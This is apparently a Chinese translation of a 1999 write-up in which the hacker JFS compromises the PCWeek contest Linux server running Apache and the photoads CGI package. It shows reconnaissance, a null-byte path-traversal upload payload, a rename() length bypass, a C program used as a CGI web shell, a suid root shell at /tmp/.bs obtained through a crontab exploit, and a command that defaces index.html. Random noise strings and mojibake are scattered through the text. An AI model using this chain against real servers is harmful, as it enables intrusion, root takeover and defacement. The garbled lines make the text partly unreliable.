JFS侵入PCWEEK-LINUX主機的詳細過程

譯者注：PCWeek-Linux 主機是著名電腦雜志 PCWeek 為了測試 WEB 服務器 IIS（NT平臺）
* ~% D& C, U6 g9 q和 Apache（Linux平臺）的安全性，提供給黑客/駭客攻擊的兩臺主機之一。另一臺主機安裝
; d# ]0 ^# g) u: m的是 IIS（NT平臺）。詳細情況請訪問網(wǎng)站：http://www.hackpcweek.com/。
0 {& ]) k; D% ]5 m8 O
3 L2 @! c  D# s) O  q/ n. |- P( s
* M) _, y( b1 C首先要進行的當然是——收集遠端主機信息：打開的端口和提供的網(wǎng)絡服務等。經過掃
描后發(fā)現(xiàn)大多數(shù)端口都被過濾掉了，原因可能是安裝了防火墻或設置了 TCP-Wrapper 。所
以我們只能從 HTTP 服務器著手了。

lemming:~# telnet securelinux.hackpcweek.com 80
8 d$ j* T0 N7 \5 O8 D% _  m" uTrying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
, u: {3 V& h( eEscape character is '^]'.
5 U+ d5 R. u% G" n% p, w" c% ZPOST X HTTP/1.0
  d$ A8 l9 o2 M
* D1 c" _+ k# W0 _8 kHTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
* q) k5 h7 c3 X% TServer: Apache/1.3.6 (Unix) (Red Hat/Linux)
* A& }7 }: c% A* N7 Z(...)
. k0 H5 G$ u+ |# z( v+ l# W9 r( `Connection closed by foreign host.
lemming:~#
! r7 D2 u1 K0 X; k6 s3 Y' q3 K
+ X  D* e5 y. l* k2 v1 P嗯，服務器操作系統(tǒng)是 Red Hat，WEB服務器是 Apache/1.3.6。從網(wǎng)頁上可知服務器安
裝了 mod_perl，但只有一個 fingerprint 功能，對我們沒有什么用處。
Apache 1.3.6 本身沒有包含任何可供遠端用戶使用的CGI程序，但我們不清楚Red Hat
& T( U/ v+ K5 @% h; {5 \; f的發(fā)行版本中是否有，所以我們進行了一些測試（test-cgi, wwwboard, count.cgi等）。
結果令人失望。于是我們嘗試找出網(wǎng)站的結構。經過對該網(wǎng)站HTML頁的分析，終于找出
1 [/ F& F0 n, [$ c$ q6 U8 \# C了網(wǎng)站DocumentRoot下的目錄結構：
* o1 O2 [* F5 [+ g7 b
* m& U8 Q* e5 ?9 h( d% V/
3 W4 x, k2 }  L# o9 U# r/cgi-bin
4 A% K' G5 `2 Z: _6 ~3 h. z3 }+ Q/photoads/
/photoads/cgi-bin
$ h) t. Z! s! P
" c3 Z# P4 J) d" L( W9 o很自然地，我們的眼光落在 photoads 這個安裝模塊上。該商用CGI包可在"http://
www.hoffoce.com"找到，價格為$149，包括供檢查和修改用的PERL源代碼。
! `- g' A  {4 ?0 H5 A8 h我們找到一個朋友，了解和掌握 photoads 在 Linux 平臺上的安裝情況，從而大致清楚
運行在該主機上的 photoads。
. ?, ?; N! I1 E9 {  i  l! o0 \" S檢查了缺省安裝的文件后，我們發(fā)現(xiàn)可以取得所有用戶名及其口令的數(shù)據(jù)庫（http://
securelinux.hackpcweek.com/photoads/ads_data.pl），但當我們試圖訪問配置文件
/photoads/cgi-bin/photo_cfg.pl 時，服務器的設置拒絕了這個請求。
通過 /photoads/cgi-bin/env.cgi，我們可以知道該服務器的許多詳細情況，如
DocumentRoot 在文件系統(tǒng)的位置（/home/httpd/html），運行 Apache 服務器的用戶（
nobody）等。
- m) T  f5 z" }: i( P1 Y現(xiàn)在，開始尋找漏洞的第一步，我們嘗試尋找是否存在 SSI 或 mod_perl 嵌入 HTML
命令的漏洞，如：
- @0 z6 _- A; w# r2 C6 D6 C
( G0 Z* ?+ g: C' d" A<!--#include file="..."--> for SSI
2 b, ~% y( w- F/ p2 d6 a$ K& H2 s! N# j<!--#perl ...--> for mod_perl
# c' Z) J9 o* R% o1 @
3 S. p) Z5 W+ X- ?) i但腳本中的匹配表達式卻在許多輸入域上過濾此類輸入。不過與此同時我們卻發(fā)現(xiàn)有一
! J. q& S* p9 w$ M8 `' E/ e個用戶賦值的變量在轉換成 HTML 代碼前，并沒有檢查其值的合法性。我們可以通過它將命
令嵌入到由服務器端解析的 HTML 代碼中：

, R. i, M+ ~# Z: P4 M7 G. L% w; \在 post.cgi，行 36：
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\n";
/ R: L! C3 z* m$ Y
7 x6 i  p1 q: R& O% n4 M. i5 k$ENV{'HTTP_REFERER'}是一個用戶賦值的變量，我們可以通過它將任何 HTML 嵌入到代
' `# x/ U- A+ \碼中。
請閱讀我們提供的文件 getit.ssi 和 getit.mod_perl。
2 i% J" C; e# i& i3 ?: @: F2 c4 `在命令行下使用這些文件如下：
  U2 v6 j2 Y" y2 m; U$ `) x
* j; A- x: I4 L9 ]  ?$ Blemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80

6 V) e/ w6 }- Q/ G# o但不幸的是，該主機的配置并不允許 SSI 或 mod_perl，所以我們無法利用這個方法侵
入系統(tǒng)。

因此我們決定在CGI腳本中尋找缺口。在PERL腳本中許多漏洞往往出現(xiàn)在 open()、
, |* S+ b: X9 ]8 `7 y4 S# msystem() 或 `` 等調用中，前一個允許讀/寫/執(zhí)行，而后兩個允許執(zhí)行。
, Y4 D8 E! \" `. a8 b雖然在該主機找不到后兩種調用，但我們卻發(fā)現(xiàn)了一些 open() 調用：
* `' L; I* \& C  T/ U# X- [; t
; U+ ]" g* ~0 P. |$ k" Y: E& T8 |lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
# c7 ~& {- F1 E
; ^7 G; K; y+ x! }9 E" V  Qadvisory.cgi: open (DATA, "$BaseDir/$DataFile");
- e8 N! Y6 P2 p, h9 r% M% g3 Q2 m8 {edit.cgi: open (DATA, ">$BaseDir/$DataFile");
( t1 V0 U0 \3 M: W1 \; c+ T- X8 _edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
# X+ q2 M7 h& _1 ~/ [& b8 q0 M) t) Qphoto.cgi: open ( FILE, $filename );
# X, V  g6 P. V) i(...)
0 l4 |2 ~8 {6 @1 B, Y* e+ q& X
$BaseDir 和 $DataFile 兩個變量是在配置文件中定義，且不能在運行時修改，無法被
& |9 F7 k* f, h7 h3 f8 a我們利用。
8 R& P$ G: |( b: k7 p但其余兩個就……
* s5 D- w# M) ~* @( r9 n) m. ^
在 photo.cgi，行 132：
( e( V3 a9 `% X) t, |* v$write_file = $Upload_Dir.$filename;

1 O8 C* X1 d' D2 F6 Uopen(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
  A% }8 z% e7 s) Z6 P% |: mprint ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);
3 X% D4 V! q& h( I" L) |$ @) H
因此，如果我們可以修改 $write_file 變量，就可以寫文件系統(tǒng)中的任何文件。
! F/ j3 r7 f) R: v$write_file 變量來自：

! T* }- L7 V, v$ x' I' @7 D$write_file = $Upload_Dir.$filename;

7 A. |/ v# e, Y# A6 O2 J" v其中，$Upload_Dir 在配置文件中定義，我們無法修改，但 $filename 變量又如何呢？
1 m  @1 Y( K' Y0 ]" l" I
& J' A5 \* s- I5 @: u- i在 photo.cgi，行 226：
" F# s4 \1 m( s3 Tif( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }

$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
) ?4 K) \- M1 a/ q
if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$ h2 G  _5 `3 |' N# x0 {$type = '.jpg';
( Y% k0 @: Q( i0 v}else{
{&Not_Valid_Image}
}
! e9 L7 x$ d8 @/ c3 s( C
由此可知，該變量來自從提交表格的變量組分解出來的 $UPLOAD{'FILE_NAME'}，而且必
6 |: n3 P; y( T: Y* v( l須經過匹配表達式過濾，因此我們不能用"../../../../../../../../etc/passwd"格式來取
得任何文件。匹配表達式為：
4 O: A8 K2 A8 s  |
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
, ?. f  |6 n& P% R, x* H
* t% b- o; D# v6 K6 B: B我們看到，如 $filename 與該表達式匹配，則返回ASCII碼1（SOH）。同時，變量還必
- L$ s, N( n/ B須包含"gif"或"jpg"，以通過 Not_Valid_Image 過濾器。
8 m( P$ u0 {; `$ N  ~經過多次嘗試，以及從 Phrack 的關于PERL CGI安全性文章的幫助，我們發(fā)現(xiàn)以下格式
4 H* c5 Z/ B% R7 g9 q% O
2 ?# e* p! N8 y" d6 a/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif

可以成功修改WEB服務器根目錄下的index.html文件。:-)
; c! f$ f+ ?; \" M" Y然而，為了上載文件，我們仍須繞過更多的腳本代碼。我們發(fā)現(xiàn)無法通過POST方法發(fā)送
包含上述內容的表格（無法轉換%00），唯一的方法只能是GET。
0 ?) g  j4 w! {2 |1 [在 photo.cgi ，行 256，會檢查被上載文件的內容是否符合圖像定義（寬/長/大?。?font class="jammer">1 i9 w7 u9 q" v$ G! o
（記住，photo.cgi 是被當作某個AD上載圖像的一個方法）。如果不符合這些細節(jié)，腳本將
$ V  y# m+ T% K* D% R刪除該上載文件。這當然不是我們所希望的！
PCWeek 網(wǎng)站配置文件將 Imagesize 設為 0，所以我們可以忽略該腳本中有關JPG部分，
而將主要精力集中在GIF上。
1 c  n% a8 b. y3 M
if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
% g& f5 K' m% U- e4 c: f3 }5 r  wmy $head;
my $gHeadFmt = "A6vvb8CC";
& ^. R) X! A# \" umy $pictDescFmt = "vvvvb8";
/ Y/ c8 ~; y  j7 Z) wread FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack $gHeadFmt, $head;
close FILE;
# L. a" O! ]0 _. i' ?2 H/ g+ U$PhotoWidth = $width;
$PhotoHeight = $height;
0 y2 {1 \8 W  _( @3 G3 A$PhotoSize = $size;
0 Y' h- x% r( V0 m! Z6 o, [return;
}

在 photo.cgi，行 140：

if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}

if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
  G" Z0 S2 h9 L4 \- x- l+ @{&Height_Width}
. P# n7 o( q) M+ H' I% C}
! L% n' N, U+ f6 A0 B8 L
由上可知，$PhotoWidth不能大于700，不能為空，且不能大于 $ImgWidth（缺省為350）
/ g6 u$ M0 N. N  H。
所以我們使 $PhotoWidth!="" 且 $Photowidth<350 即可。
對于 $PhotoHeight，則必須小于 $ImgHeight（缺省為250）。
$ n# h9 D$ {; f/ F; O綜合以上要求，我們可以得到一個可以使用的數(shù)據(jù)：$PhotoWidth==$PhotoHeight==0。
' W* \3 O8 p3 b. a研究提取該值的腳本后，我們唯一要做的就是將文件的第6至第9字節(jié)的值置為 ASCII 碼 0
# x- U2 R* v1 K+ e* {3 E  G（NUL）。
' n: b& i  e5 H& F+ K0 H8 h: y在確保 FILE_CONTENT（文件內容）符合以上所有要求后，我們又在以下代碼遇到了另一
, R9 C( w0 E( M+ r# s& ]! }( X) \4 L個問題：

( _/ L2 H/ |( k% S" Cchmod 0755, $Upload_Dir.$filename;
( F* S; ~# A' H8 i6 Y6 X; I4 }$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");

+ r; T3 w$ V: MShow_Upload_Success($write_file);
/ {& ]5 z& `: J) B
哇！文件將被改名/移動（這可是我們絕對不希望的?。?。
查找 $AdNum 變量的最終處理過程，我們發(fā)現(xiàn)它只能包含數(shù)字：
( F" ~5 }3 _  J/ E9 S- `( B
$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$ B9 A/ |8 C  i+ k6 e$AdNum = $UPLOAD{'AdNum'};
" n6 F& [# _9 y
其余的字符將被刪除。因此我們不能直接應用"../../../"這種方法。
那么，應該怎樣做呢？我們看到 rename() 函數(shù)需要兩個參數(shù)：舊的路徑和新的路徑。
哈哈，在函數(shù)過程中沒有錯誤檢查！當函數(shù)出錯后將跳到下一行繼續(xù)執(zhí)行！那么如何才能使
該函數(shù)失敗呢？Linux 內核對文件名長度限制為1024字節(jié)。因此如能使腳本將文件改名時新
文件名超過1024字節(jié)長，即可繞過這個過濾器。
所以，下一步就是要向系統(tǒng)傳遞一個大約1024字節(jié)長的AD號碼。但由于腳本僅允許我們
發(fā)送對應AD號碼已存在的圖片，而且由系統(tǒng)產生一個10^1024（10的1024次冪，即小數(shù)點前有
1024個數(shù)字——backend注）的AD號碼要花的時間對我們來說似乎太長了。;-)
我們又遇到另一個難題了！……
3 e! \, h8 Y/ M- ?1 P
: U4 j; P' J% R! t+ e0 ?) F7 M! e我們發(fā)現(xiàn)輸入錯誤檢查函數(shù)可以幫助我們創(chuàng)建一個指定的AD號碼！瀏覽 edit.cgi 腳本
后，你也許就會想到：如果輸入是一個文件名+回車符+一個1024位的數(shù)字，會產生什么結果
$ n. [) S! e( \- E5 r5 ?: C呢？;-)
. A* J: g& w6 E  V5 x) _請閱讀用于創(chuàng)建新AD值的程序文件 long.adnum。
2 G8 C4 z% h2 H$ {* W當成功繞過 $AdNum 的檢查后，我們就可以讓腳本創(chuàng)建/覆蓋用戶 nobody 有權寫的任何
文件，其中包含了我們所希望的東西（GIF頭部的NUL除外）。
3 P3 ^/ `0 o  u& ]# c3 y# V
7 y# Y' ?8 j' B: S- a0 S0 }! ^現(xiàn)在就讓我們對該主機試一試這個方法。
嗯，so far so good（一切順利）。但當我們試圖讓腳本改寫 index.html 文件時無法
成功。:( 其中的原因可能是沒有覆蓋該文件的權限（該文件由root擁有）。


讓我們試一下是否還有其它入侵方法……

我們決定嘗試修改CGI程序，以使其按我們的意愿運行:)。這種方法還可以讓我們搜尋那
些“絕密”文件，然后拿出動賣。:)
我們修改了“覆蓋”腳本，并讓其成功地覆蓋了一個CGI！:) 為了不覆蓋那些較為重要
& x9 n0 P- B" v7 H1 R的CGI（這是提高隱蔽性的聰明法子——backend注），最后我們選擇了 advisory.cgi（你知
* e' Q0 o2 B3 \% S$ `道它有什么用嗎？:)）
現(xiàn)在，我們將要上載一個shell腳本，以便我們可以執(zhí)行一些命令。呵呵
" {6 x& c7 l+ V4 d然而，這個以CGI方式運行的shell腳本必須符合以下格式：
( \& `: U4 M" m- x
#!/bin/sh
7 e+ H7 A# l! k$ hecho "Content-type: text/html"
find / "*secret*" -print

+ y/ N5 ]8 _/ V, E- p同時要記得，第6至第9字節(jié)必須為0或很小的值，以符合上面提及的大小定義……

' V: N# Z% M! M' {' Q2 d#!/bi\00\00\00\00n/sh

& `: D  R0 ^  u: M2 g以上這種方法是行不通的，內核只會讀取前5個字節(jié)（#!/bi）內容并執(zhí)行。在該主機中
4 e( b9 g0 _( H* d6 q我們無法只用三個字節(jié)去獲得一個shell。又遇到難題了！:(
) ?! q9 J, o0 Z* l/ \) D8 f* A% R
讓我們看一下ELF（Linux缺省可執(zhí)行類型）二進制文件格式，就會發(fā)現(xiàn)那些位置字節(jié)的
內容均為0x00。:) Yohoo :)
解決了這個問題后，現(xiàn)在我們需要將這個ELF可執(zhí)行文件上載到遠端服務器中。注意，文
件內容必須經過編碼，因為我們已知道只能通過GET方法上載，而不是POST。因此還要考慮到
URI的最大長度。Apache 服務器上URI最大長度設為8190字節(jié)。別忘了，我們還有一個很長的
3 {* v, `2 @# \1 M% H1024字節(jié)的AD號碼，所以經編碼后的ELF文件長度限制為大約7000字節(jié)。
+ _1 ?$ h7 ^: Y2 a: e6 L1 j0 n
以下這個程序：
5 R: N7 F$ b+ b/ w* v
lemming:~/pcweek/hack/POST# cat fin.c
#include <stdio.h>
main()
{
printf("Content-type: text/html\n\n\r");
. {) _* X" b) {) u, R7 G7 C* dfflush(stdout);
execlp("/usr/bin/find","find","/",0);
}
' @! N4 G3 X' g- ]2 O" g- H
編譯后：

% i  ^9 c( x7 p5 X. u0 I; d' F/ dlemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 4280 Sep 25 04:18 fin*
2 ~/ L! ]) s, a& c3 e2 {
優(yōu)化（清除symbols）后：
. Z6 o' d# k4 O8 f
4 j6 [5 O- n5 V, |lemming:~/pcweek/hack/POST# strip fin
lemming:~/pcweek/hack/POST# ls -l fin
2 E5 X3 Z; M+ c, d-rwxr-xr-x 1 root root 2812 Sep 25 04:18 fin*
lemming:~/pcweek/hack/POST#
8 q: z5 n- J' l  }
URL編碼后：

lemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
: A* F9 D4 _7 zlemming:~/pcweek/hack/POST# ls -l fin.url
1 \- {/ F: G- S2 R. I-rw-r--r-- 1 root root 7602 Sep 25 04:20 fin.url
" }) \( K/ k, Z: d4 L- f
; b$ w) J4 D% T  A, _7 {$ _8 _這個文件大小超過了限制值。:(
我們只能自行編輯二進制文件以盡量減小文件體積。這可不是一件輕松的工作，但卻有
效：
6 G9 x* b, R; e6 S1 V
3 Z- x. h  x! @( }$ }, Alemming:~/pcweek/hack/POST# joe fin
" T! Y& o9 ~7 S5 A$ h8 jlemming:~/pcweek/hack/POST# ls -l fin
-rwxr-xr-x 1 root root 1693 Sep 25 04:22 fin*
4 \6 Y7 o. S3 mlemming:~/pcweek/hack/POST# ./to_url < fin > fin.url
lemming:~/pcweek/hack/POST# ls -l fin.url
-rw-r--r-- 1 root root 4535 Sep 25 04:22 fin.url
lemming:~/pcweek/hack/POST#
5 S3 ~+ [6 L7 e. |- o% K
8 k8 f5 {1 S7 E9 F3 s, V7 I& L! t( V請閱讀 get.sec.find文件，還有 to_url 腳本和用來運行一些基本命令的*.c文件。
$ i1 B+ m. ^; {6 i/ k
現(xiàn)在，將這個CGI上載到服務器，再用瀏覽器訪問它，如：

wget http://securelinux.hackpcweek.com/photoads/cgi-bin/advisory.cgi
2 d/ d$ Q9 a" r+ r- i: {/ t$ n
服務器返回的結果相當于在服務器上執(zhí)行 find / 命令。:)
但我們在該服務器中找不到任何“絕密”文件，或許是nobody用戶無權訪問的緣故。:(
# Y  q# P/ a' d/ D我們嘗試了更多的命令搜索，如ls等，但仍無法找到它們的蹤影。
. W  n1 O2 G" O4 ^) r* D7 a[我懷疑這些文件是否真的保存在該服務器上！]
7 |# O( o9 I/ b0 ^
- Y6 C9 Y9 c  ]' A) d. _5 P
好了，現(xiàn)在是獲取 root 權限的時候了。利用最新發(fā)現(xiàn)的 Red Hat crontab 漏洞就可以
輕松做到這一點。該漏洞詳情請參閱 Bugtraq 或 securityfocus 上相關文檔。
& N) N- E4 t4 m/ H5 a3 y+ }我們修改了源程序以適應自己的需要，因為我們不需交互式 root shell，而是創(chuàng)建一個
用戶 nobody 可訪問的 suid root shell，如 /tmp/.bs。我們再次上載該CGI，并運行它，
觀察其運行結果。
我們制作了執(zhí)行"ls /tmp"命令的CGI，執(zhí)行后確認我們已擁有了一個 suid root shell。
另外，我們還上載了一個文件 /tmp/xx，用于修改 index.html 文件。

execlp("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);
! I" l- y' G, S9 j& d" A5 a* u
好了。游戲結束！:)
( y6 ~5 M# M; I總共花費了大約20個小時，還算不錯！呵呵。:)
6 `$ `$ u: P) h5 ?